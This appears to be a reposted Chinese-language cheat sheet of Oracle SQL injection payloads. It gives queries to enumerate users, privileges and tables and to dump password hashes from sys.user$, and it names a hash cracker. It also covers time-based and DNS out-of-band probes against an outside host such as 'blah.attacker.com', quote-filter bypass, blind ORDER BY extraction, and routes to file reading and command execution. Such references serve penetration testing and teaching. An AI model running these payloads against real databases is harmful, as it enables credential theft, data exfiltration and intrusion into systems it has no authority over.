Oracle注入速查表


注:下面的一部分查詢只能由admin執行,我會在查詢的末尾以"-priv“標注。

探測版本:

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; 

注釋:

SELECT 1 FROM dual — comment 

注: Oracle的SELECT語句必須包含FROM從句,所以當我們並不是真的准備查詢一個表的時候,我們必須使用一個假的表名‘dual’

當前用戶:

SELECT user FROM dual 

列出所有用戶:

SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv 

列出密碼哈希:

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能夠在acct被鎖定的狀態下給你反饋 SELECT name,spare4 FROM sys.user$ — priv, 11g 

密碼破解:

checkpwd能夠把Oracle8,9,10的基於DES的哈希破解掉

列出權限:

SELECT * FROM session_privs; —當前用戶的權限 SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用戶的權限 SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到擁有某個權限的用戶 SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 

列出DBA賬戶:

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和對應權限 

當前數據庫:

SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; 

列出數據庫:

SELECT DISTINCT owner FROM all_tables; — 列出數據庫 (一個用戶一個) 

– 通過查詢TNS監聽程序能夠查詢到其他數據庫.詳情看tnscmd

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; 

列出表名:

SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; 

通過字段名找到對應表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; 

— 注: 表名都是大寫

查詢第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數) 

查詢第N個字符:

SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三個字符‘c’ 

按位與(Bitwise AND):

SELECT bitand(6,2) FROM dual; — 返回2 SELECT bitand(6,1) FROM dual; — 返回0 

ASCII值轉字符:

SELECT chr(65) FROM dual; — 返回A 

字符轉ASCII碼:

SELECT ascii(‘A’) FROM dual; — 返回65 

類型轉換:

SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual; 

拼接字符:

SELECT ‘A’ || ‘B’ FROM dual; — 返回AB 

IF語句:

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; 

— 跟SELECT語句在一起時不太管用

Case語句:

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2 

繞過引號:

SELECT chr(65) || chr(66) FROM dual; — 返回AB 

延時:

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了 SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢 SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢 SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果發送TCP包被攔截或者很慢 

— 更多關於延時的內容請看Heavy Queries

發送DNS請求:

SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; 

命令執行:

如果目標機裝了JAVA就能執行命令,看這里

有時候ExtProc也可以,不過我一般都成功不了,看這里

本地文件讀取:

UTL_FILE有時候能用。如果下面的語句沒有返回null就行。

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’; 

JAVA能用來讀取和寫入文件,除了Oracle Express

主機名稱、IP地址:

SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — 查IP SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主機名稱 

定位DB文件:

SELECT name FROM V$DATAFILE; 

默認系統和數據庫:

SYSTEM SYSAUX 

額外小貼士:

一個字符串列出所有表名:

select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables 

– 當你union聯查注入的時候只有一行能用與返回數據時使用

盲注排序:

order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end 

— 你必須知道兩個擁有相同數據類型的字段名才能用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM